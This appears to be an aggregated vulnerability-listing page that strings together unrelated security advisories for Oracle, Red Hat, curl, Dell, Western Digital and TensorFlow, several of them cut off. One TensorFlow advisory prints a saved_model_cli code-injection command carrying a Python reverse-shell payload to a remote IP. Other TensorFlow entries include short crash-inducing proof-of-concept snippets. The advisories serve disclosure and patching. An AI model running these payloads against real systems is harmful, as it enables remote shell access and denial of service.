CVE-2022-29207: Release TensorFlow 2.6.4 · tensorflow/tensorflow

Vulnerability in the Sun ZFS Storage Appliance product of Oracle Systems (component: Core). The supported version that is affected is 8.8.60. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Sun ZFS Storage Appliance. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Sun ZFS Storage Appliance. CVSS 3.1 Base Score 5.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H).

Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot). Supported versions that are affected are Oracle Java SE: 8u361, 8u361-perf, 11.0.18, 17.0.6; Oracle GraalVM Enterprise Edition: 20.3.9, 21.3.5 and 22.3.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through...

Dell PowerScale OneFS 8.2.x, 9.0.0.x - 9.4.0.x, contain an insufficient resource pool vulnerability. A remote unauthenticated attacker could potentially exploit this vulnerability, leading to denial of service.

Dell VxRail, versions prior to 7.0.410, contain a Container Escape Vulnerability. A local high-privileged attacker could potentially exploit this vulnerability, leading to the execution of arbitrary OS commands on the container's underlying OS. Exploitation may lead to a system take over by an attacker.

Vulnerability in the Oracle Demantra Demand Management product of Oracle Supply Chain (component: E-Business Collections). Supported versions that are affected are 12.1 and 12.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Demantra Demand Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Demantra Demand Management accessible data. CVSS 3.1 Base Score 7.5 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

Gentoo Linux Security Advisory 202212-1 - Multiple vulnerabilities have been found in curl, the worst of which could result in arbitrary code execution. Versions less than 7.86.0 are affected.

Improper Authentication vulnerability in the encrypted volumes and auto mount features of Western Digital My Cloud devices allows insecure direct access to the drive information in the case of a device reset. This issue affects: Western Digital My Cloud My Cloud versions prior to 5.25.124 on Linux.

A path traversal vulnerability was addressed in Western Digital My Cloud Home, My Cloud Home Duo and SanDisk ibi which could allow an attacker to initiate installation of custom ZIP packages and overwrite system files. This could potentially lead to a code execution.

An update for curl is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Low. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2022-27775: curl: bad local IPv6 connection reuse

In curl before 7.86.0, the HSTS check could be bypassed to trick it into staying with HTTP. Using its HSTS support, curl can be instructed to use HTTPS directly (instead of using an insecure cleartext HTTP step) even when HTTP is provided in the URL. This mechanism could be bypassed if the host name in the given URL uses IDN characters that get replaced with ASCII counterparts as part of the IDN conversion, e.g., using the character UTF-8 U+3002 (IDEOGRAPHIC FULL STOP) instead of the common ASCII full stop of U+002E (.). The earliest affected version is 7.77.0 2021-05-26.

Vulnerability in the Oracle Web Applications Desktop Integrator product of Oracle E-Business Suite (component: Upload). Supported versions that are affected are 12.2.3-12.2.11. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Web Applications Desktop Integrator. Successful attacks of this vulnerability can result in takeover of Oracle Web Applications Desktop Integrator. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Red Hat Security Advisory 2022-6696-01 - Red Hat Advanced Cluster Management for Kubernetes 2.4.6 General Availability release images, which fix bugs and update container images. Red Hat Product Security has rated this update as having a security impact of Critical. Issues addressed include crlf injection and denial of service vulnerabilities.

Red Hat Security Advisory 2022-6526-01 - OpenShift Virtualization is Red Hat's virtualization solution designed for Red Hat OpenShift Container Platform. This advisory contains the following OpenShift Virtualization 4.11.0 images: RHEL-8-CNV-4.11. Issues addressed include denial of service, memory leak, and out of bounds read vulnerabilities.

Red Hat OpenShift Virtualization release 4.11.0 is now available with updates to packages and images that fix several bugs and add enhancements. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-38561: golang: out-of-bounds read in golang.org/x/text/language leads to DoS * CVE-2021-44716: golang: net/http: limit growth of header canonicalization cache * CVE-2021-44717: golang: syscall: don't close fd 0 on ForkExec error * CVE-2022-1798: kubeVirt: Arbitrary file read on t...

Red Hat Security Advisory 2022-6271-01 - This advisory contains the container images for Red Hat Advanced Cluster Management for Kubernetes, which fix several bugs. Issues addressed include a denial of service vulnerability.

Updated images that include numerous enhancements, security, and bug fixes are now available for Red Hat OpenShift Data Foundation 4.11.0 on Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-23440: nodejs-set-value: type confusion allows bypass of CVE-2019-10747 * CVE-2021-23566: nanoid: Information disclosure via valueOf() function * CVE-2022-0235: node-fetch: exposure of sensitive information to an unauthorized actor * CVE-2022-0536: follow-...

Red Hat Security Advisory 2022-5070-01 - Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the RPM packages for Red Hat OpenShift Container Platform 4.11.0. Issues addressed include denial of service, out of bounds read, and traversal vulnerabilities.

A new container image for Red Hat Ceph Storage 5.2 is now available in the Red Hat Ecosystem Catalog. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-43813: grafana: directory traversal vulnerability * CVE-2022-21673: grafana: Forward OAuth Identity Token can allow users to access some data sources

Red Hat Security Advisory 2022-5909-01 - Openshift Logging Bug Fix Release. Issues addressed include denial of service and out of bounds read vulnerabilities.

Red Hat Security Advisory 2022-5908-01 - Openshift Logging Bug Fix Release. Issues addressed include denial of service and out of bounds read vulnerabilities.

Openshift Logging Bug Fix Release (5.2.13) Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-38561: golang: out-of-bounds read in golang.org/x/text/language leads to DoS

Openshift Logging Bug Fix Release (5.3.10) Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-38561: golang: out-of-bounds read in golang.org/x/text/language leads to DoS

Red Hat Security Advisory 2022-5840-01 - The Migration Toolkit for Containers enables you to migrate Kubernetes resources, persistent volume data, and internal container images between OpenShift Container Platform clusters, using the MTC web console or the Kubernetes API.

The Migration Toolkit for Containers (MTC) 1.7.3 is now available. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2022-1365: cross-fetch: Exposure of Private Personal Information to an Unauthorized Actor * CVE-2022-24675: golang: encoding/pem: fix stack overflow in Decode * CVE-2022-28327: golang: crypto/elliptic: panic caused by oversized scalar * CVE-2022-29526: golang: syscall: faccessat checks wrong group

Secondary Scheduler Operator for Red Hat OpenShift 1.0.1 Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2022-29526: golang: syscall: faccessat checks wrong group

Red Hat Security Advisory 2022-5531-01 - Red Hat Advanced Cluster Management for Kubernetes 2.5.1 General Availability release images, which fix security issues and bugs.

Red Hat Security Advisory 2022-5556-01 - Logging Subsystem 5.4.3 has security updates. Issues addressed include denial of service and out of bounds read vulnerabilities.

Red Hat Security Advisory 2022-5704-01 - Updated images are now available for Red Hat Advanced Cluster Security. Issues addressed include a privilege escalation vulnerability.

Updated images are now available for Red Hat Advanced Cluster Security. The updated image includes bug fixes and feature improvements. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2022-29173: go-tuf: No protection against rollback attacks for roles other than root

The Western Digital My Cloud Web App [https://os5.mycloud.com/] uses a weak SSLContext when attempting to configure port forwarding rules. This was enabled to maintain compatibility with old or outdated home routers. By using an "SSL" context instead of "TLS" or specifying stronger validation, deprecated or insecure protocols are permitted. As a result, a local user with no privileges can exploit this vulnerability and jeopardize the integrity, confidentiality and authenticity of information transmitted. The scope of impact cannot extend to other components and no user input is required to exploit this vulnerability.

Red Hat Security Advisory 2022-5673-01 - Red Hat OpenStack Platform 16.2 (Train) director operator containers, with several Important security fixes, are available for technology preview. Issues addressed include a code execution vulnerability.

Authorization headers are cleared on cross-origin redirect. However, cookie headers which are sensitive headers and are official headers found in the spec, remain uncleared. There are active users using cookie headers in undici. This may lead to accidental leakage of cookie to a 3rd-party site or a malicious attacker who can control the redirection target (ie. an open redirector) to leak the cookie to the 3rd party site. This was patched in v5.7.1. By default, this vulnerability is not exploitable. Do not enable redirections, i.e. `maxRedirections: 0` (the default).

Red Hat OpenStack Platform 16.2 (Train) director operator containers, with several Important security fixes, are available for technology preview.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-41103: containerd: insufficiently restricted permissions on container root and plugin directories * CVE-2021-43565: golang.org/x/crypto: empty plaintext packet causes panic * CVE-2022-26945: go-getter: command injection vulnerability * CVE-2022-30321: go-getter: unsafe download (issue 1 of 3) * CVE-2022-30322: go-getter: unsafe download (issue 2 of 3) * CVE-2022-30323: go-getter: unsafe download (issue 3 of 3)

Vulnerability in the Oracle Banking Trade Finance product of Oracle Financial Services Applications (component: Infrastructure). The supported version that is affected is 14.5. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Banking Trade Finance. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Banking Trade Finance accessible data as well as unauthorized access to critical data or complete access to all Oracle Banking Trade Finance accessible data. CVSS 3.1 Base Score 6.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N).

Logging Subsystem 5.4.3 - Red Hat OpenShift Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-38561: golang: out-of-bounds read in golang.org/x/text/language leads to DoS

Implemented protections on AWS credentials that were not properly protected.

Red Hat Advanced Cluster Management for Kubernetes 2.5.1 General Availability release images, which fix security issues and bugs. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE links in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2022-24450: nats-server: misusing the "dynamically provisioned sandbox accounts" feature authenticated user can obtain the privileges of the System account

Red Hat Security Advisory 2022-5245-01 - The curl packages provide the libcurl library and the curl utility for downloading files from servers using various protocols, including HTTP, FTP, and LDAP. Issues addressed include bypass and password leak vulnerabilities.

Ubuntu Security Notice 5499-1 - Florian Kohnhuser discovered that curl incorrectly handled returning a TLS server’s certificate chain details. A remote attacker could possibly use this issue to cause curl to stop responding, resulting in a denial of service. Harry Sintonen discovered that curl incorrectly handled certain FTP-KRB messages. An attacker could possibly use this to perform a machine-in-the-middle attack.

An update for curl is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2022-22576: curl: OAUTH2 bearer bypass in connection re-use * CVE-2022-27774: curl: credential leak on redirect * CVE-2022-27776: curl: auth/cookie leak on redirect * CVE-2022-27782: curl: TLS and SSH connection too eager reuse

An update for curl is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2022-22576: curl: OAUTH2 bearer bypass in connection re-use * CVE-2022-27774: curl: credential leak on redirect * CVE-2022-27776: curl: auth/cookie leak on redirect * CVE-2022-27782: curl: TLS and SSH connection too eager reuse

The Mechanize library is used for automating interaction with websites. Mechanize automatically stores and sends cookies, follows redirects, and can follow links and submit forms. In versions prior to 2.8.5 the Authorization header is leaked after a redirect to a different port on the same site. Users are advised to upgrade to Mechanize v2.8.5 or later. There are no known workarounds for this issue.

An information disclosure vulnerability exists in curl 7.65.0 to 7.82.0 are vulnerable that by using an IPv6 address that was in the connection pool but with a different zone id it could reuse a connection instead.

An insufficiently protected credentials vulnerability exists in curl 4.9 to and include curl 7.82.0 are affected that could allow an attacker to extract credentials when follows HTTP(S) redirects is used with authentication could leak credentials to other services that exist on different protocols or port numbers.

A insufficiently protected credentials vulnerability in fixed in curl 7.83.0 might leak authentication or cookie header data on HTTP redirects to the same host but another port number.

A use of incorrectly resolved name vulnerability fixed in 7.83.1 might remove the wrong file when `--no-clobber` is used together with `--remove-on-error`.

libcurl wrongly allows cookies to be set for Top Level Domains (TLDs) if thehost name is provided with a trailing dot.curl can be told to receive and send cookies. curl's "cookie engine" can bebuilt with or without [Public Suffix List](https://publicsuffix.org/)awareness. If PSL support not provided, a more rudimentary check exists to atleast prevent cookies from being set on TLDs. This check was broken if thehost name in the URL uses a trailing dot.This can allow arbitrary sites to set cookies that then would get sent to adifferent and unrelated site or domain.

The curl URL parser wrongly accepts percent-encoded URL separators like '/'when decoding the host name part of a URL, making it a *different* URL usingthe wrong host name when it is later retrieved.For example, a URL like `http://example.com%2F127.0.0.1/`, would be allowed bythe parser and get transposed into `http://example.com/127.0.0.1/`. This flawcan be used to circumvent filters, checks and more.

Using its HSTS support, curl can be instructed to use HTTPS directly insteadof using an insecure clear-text HTTP step even when HTTP is provided in theURL. This mechanism could be bypassed if the host name in the given URL used atrailing dot while not using one when it built the HSTS cache. Or the otherway around - by having the trailing dot in the HSTS cache and *not* using thetrailing dot in the URL.

libcurl provides the `CURLOPT_CERTINFO` option to allow applications torequest details to be returned about a server's certificate chain.Due to an erroneous function, a malicious server could make libcurl built withNSS get stuck in a never-ending busy-loop when trying to retrieve thatinformation.

libcurl would reuse a previously created connection even when a TLS or SSHrelated option had been changed that should have prohibited reuse.libcurl keeps previously used connections in a connection pool for subsequenttransfers to reuse if one of them matches the setup. However, several TLS andSSH settings were left out from the configuration match checks, making themmatch too easily.

An improper authentication vulnerability exists in curl 7.33.0 to and including 7.82.0 which might allow reuse OAUTH2-authenticated connections without properly making sure that the connection was authenticated with the same credentials as set for this transfer. This affects SASL-enabled protocols: SMPTP(S), IMAP(S), POP3(S) and LDAP(S) (openldap only).

### Impact TensorFlow's `saved_model_cli` tool is vulnerable to a code injection: ``` saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./ --tag_set serve --signature_def serving_default ``` This can be used to open a reverse shell ``` saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")' --dir ./ --tag_set serve --signature_def serving_default ``` This is because [the fix](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7) for [CVE-2021-41228](https://nvd.nist.gov/vuln/detail/CVE-2021-41228) was incomplete. Under [certain code paths](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574) it s...

### Impact The `tf.compat.v1.signal.rfft2d` and `tf.compat.v1.signal.rfft3d` lack input validation and under certain condition can result in crashes (due to `CHECK`-failures). ### Patches We have patched the issue in GitHub commit [0a8a781e597b18ead006d19b7d23d0a369e9ad73](https://github.com/tensorflow/tensorflow/commit/0a8a781e597b18ead006d19b7d23d0a369e9ad73) (merging GitHub PR [#55274](https://github.com/tensorflow/tensorflow/pull/55274)). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorf...

### Impact Certain TFLite models that were created using TFLite model converter would crash when loaded in the TFLite interpreter. The culprit is that during quantization the scale of values could be greater than 1 but code was always assuming sub-unit scaling. Thus, since code was calling [`QuantizeMultiplierSmallerThanOneExp`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/lite/kernels/internal/quantization_util.cc#L114-L123), the `TFLITE_CHECK_LT` assertion would trigger and abort the process. ### Patches We have patched the issue in GitHub commit [a989426ee1346693cc015792f11d715f6944f2b8](https://github.com/tensorflow/tensorflow/commit/a989426ee1346693cc015792f11d715f6944f2b8). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range. ### For more information Please consult [our security ...

### Impact The implementation of [`tf.histogram_fixed_width`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/histogram_op.cc) is vulnerable to a crash when the values array contain `NaN` elements: ```python import tensorflow as tf import numpy as np tf.histogram_fixed_width(values=np.nan, value_range=[1,2]) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/histogram_op.cc#L35-L74) assumes that all floating point operations are defined and then converts a floating point result to an integer index: ```cc index_to_bin.device(d) = ((values.cwiseMax(value_range(0)) - values.constant(value_range(0))) .template cast<double>() / step) .cwiseMin(nbins_minus_1) .template cast<int32>(); ``` If `values` contains `NaN` then the result of the division is still `NaN` and the cast to `int32` would result in a crash....

### Impact The [macros that TensorFlow uses for writing assertions (e.g., `CHECK_LT`, `CHECK_GT`, etc.)](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/platform/default/logging.h) have an incorrect logic when comparing `size_t` and `int` values. Due to type conversion rules, several of the macros would trigger incorrectly. ### Patches We have patched the issue in GitHub commit [b917181c29b50cb83399ba41f4d938dc369109a1](https://github.com/tensorflow/tensorflow/commit/b917181c29b50cb83399ba41f4d938dc369109a1) (merging GitHub PR [#55730](https://github.com/tensorflow/tensorflow/pull/55730)). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more informati...

### Impact The implementation of [`tf.raw_ops.EditDistance`]() has incomplete validation. Users can pass negative values to cause a segmentation fault based denial of service: ```python import tensorflow as tf hypothesis_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64) hypothesis_values = tf.constant(0, shape=[3], dtype=tf.int64) hypothesis_shape = tf.constant(0, shape=[3], dtype=tf.int64) truth_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64) truth_values = tf.constant(2, shape=[3], dtype=tf.int64) truth_shape = tf.constant(2, shape=[3], dtype=tf.int64) tf.raw_ops.EditDistance( hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values, hypothesis_shape=hypothesis_shape, truth_indices=truth_indices, truth_values=truth_values, truth_shape=truth_shape) ``` In multiple places throughout the code, we are computing an index for a write operation: ```cc if (g_truth == g_hypothesis) { auto loc = std::inner_product(g_...

### Impact Multiple TensorFlow operations misbehave in eager mode when the resource handle provided to them is invalid: ```python import tensorflow as tf tf.raw_ops.QueueIsClosedV2(handle=[]) ``` ```python import tensorflow as tf tf.summary.flush(writer=()) ``` In graph mode, it would have been impossible to perform these API calls, but migration to TF 2.x eager mode opened up this vulnerability. If the resource handle is empty, then a reference is bound to a null pointer inside TensorFlow codebase (various codepaths). This is undefined behavior. ### Patches We have patched the issue in GitHub commit [a5b89cd68c02329d793356bda85d079e9e69b4e7](https://github.com/tensorflow/tensorflow/commit/a5b89cd68c02329d793356bda85d079e9e69b4e7) and GitHub commit [dbdd98c37bc25249e8f288bd30d01e118a7b4498](https://github.com/tensorflow/tensorflow/commit/dbdd98c37bc25249e8f288bd30d01e118a7b4498). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2....

### Impact The implementation of [`tf.raw_ops.SparseTensorDenseAdd`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/sparse_tensor_dense_add_op.cc) does not fully validate the input arguments: ```python import tensorflow as tf a_indices = tf.constant(0, shape=[17, 2], dtype=tf.int64) a_values = tf.constant([], shape=[0], dtype=tf.float32) a_shape = tf.constant([6, 12], shape=[2], dtype=tf.int64) b = tf.constant(-0.223668531, shape=[6, 12], dtype=tf.float32) tf.raw_ops.SparseTensorDenseAdd( a_indices=a_indices, a_values=a_values, a_shape=a_shape, b=b) ``` In this case, a reference gets bound to a `nullptr` during kernel execution. This is UB. ### Patches We have patched the issue in GitHub commit [11ced8467eccad9c7cb94867708be8fa5c66c730](https://github.com/tensorflow/tensorflow/commit/11ced8467eccad9c7cb94867708be8fa5c66c730). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on Te...

### Impact There is a potential for segfault / denial of service in TensorFlow by calling `tf.compat.v1.*` ops which don't yet have support for quantized types (added after migration to TF 2.x): ```python import numpy as np import tensorflow as tf tf.compat.v1.placeholder_with_default(input=np.array([2]),shape=tf.constant(dtype=tf.qint8, value=np.array([1]))) ``` In these scenarios, since the kernel is missing, a [`nullptr` value is passed](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/eager/pywrap_tfe_src.cc#L480-L482) to [`ParseDimensionValue`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/eager/pywrap_tfe_src.cc#L296-L320) for the `py_value` argument. Then, this is dereferenced, resulting in segfault. ### Patches We have patched the issue in GitHub commit [237822b59fc504dda2c564787f5d3ad9c4aa62d9](https://github.com/tensorflow/tensorflow/commit/237822b59fc504dda2...

### Impact The implementation of [`tf.raw_ops.UnsortedSegmentJoin`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/unsorted_segment_join_op.cc#L83-L148) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf tf.strings.unsorted_segment_join( inputs=['123'], segment_ids=[0], num_segments=-1) ``` The code assumes `num_segments` is a positive scalar but there is no validation: ```cc const Tensor& num_segments_tensor = context->input(2); auto num_segments = num_segments_tensor.scalar<NUM_SEGMENTS_TYPE>()(); // ... Tensor* output_tensor = nullptr; TensorShape output_shape = GetOutputShape(input_shape, segment_id_shape, num_segments); ``` Since this value is used to allocate the output tensor, a negative value would result in a `CHECK`-failure (assertion failure), as per [TFSA-2021-198](https://github...

### Impact The implementation of `tf.raw_ops.SpaceToBatchND` (in all backends such as XLA and handwritten kernels) is vulnerable to an integer overflow: ```python import tensorflow as tf input = tf.constant(-3.5e+35, shape=[10,19,22], dtype=tf.float32) block_shape = tf.constant(-1879048192, shape=[2], dtype=tf.int64) paddings = tf.constant(0, shape=[2,2], dtype=tf.int32) tf.raw_ops.SpaceToBatchND(input=input, block_shape=block_shape, paddings=paddings) ``` The result of this integer overflow is used to allocate the output tensor, hence we get a denial of service via a `CHECK`-failure (assertion failure), as in [TFSA-2021-198](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md). ### Patches We have patched the issue in GitHub commit [acd56b8bcb72b163c834ae4f18469047b001fadf](https://github.com/tensorflow/tensorflow/commit/acd56b8bcb72b163c834ae4f18469047b001fadf). The fix will be included in TensorFlow 2.9.0. We will also cherrypick...

### Impact The implementation of [`tf.ragged.constant`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/ops/ragged/ragged_factory_ops.py#L146-L239) does not fully validate the input arguments. This results in a denial of service by consuming all available memory: ```python import tensorflow as tf tf.ragged.constant(pylist=[],ragged_rank=8968073515812833920) ``` ### Patches We have patched the issue in GitHub commit [bd4d5583ff9c8df26d47a23e508208844297310e](https://github.com/tensorflow/tensorflow/commit/bd4d5583ff9c8df26d47a23e508208844297310e). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how...

### Impact The implementation of [`tf.raw_ops.QuantizedConv2D`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/quantized_conv_ops.cc) does not fully validate the input arguments: ```python import tensorflow as tf input = tf.constant(1, shape=[1, 2, 3, 3], dtype=tf.quint8) filter = tf.constant(1, shape=[1, 2, 3, 3], dtype=tf.quint8) # bad args min_input = tf.constant([], shape=[0], dtype=tf.float32) max_input = tf.constant(0, shape=[], dtype=tf.float32) min_filter = tf.constant(0, shape=[], dtype=tf.float32) max_filter = tf.constant(0, shape=[], dtype=tf.float32) tf.raw_ops.QuantizedConv2D( input=input, filter=filter, min_input=min_input, max_input=max_input, min_filter=min_filter, max_filter=max_filter, strides=[1, 1, 1, 1], padding="SAME") ``` In this case, references get bound to `nullptr` for each argument that is empty (in the example, all arguments in the `bad args` section). ### Patches We have...

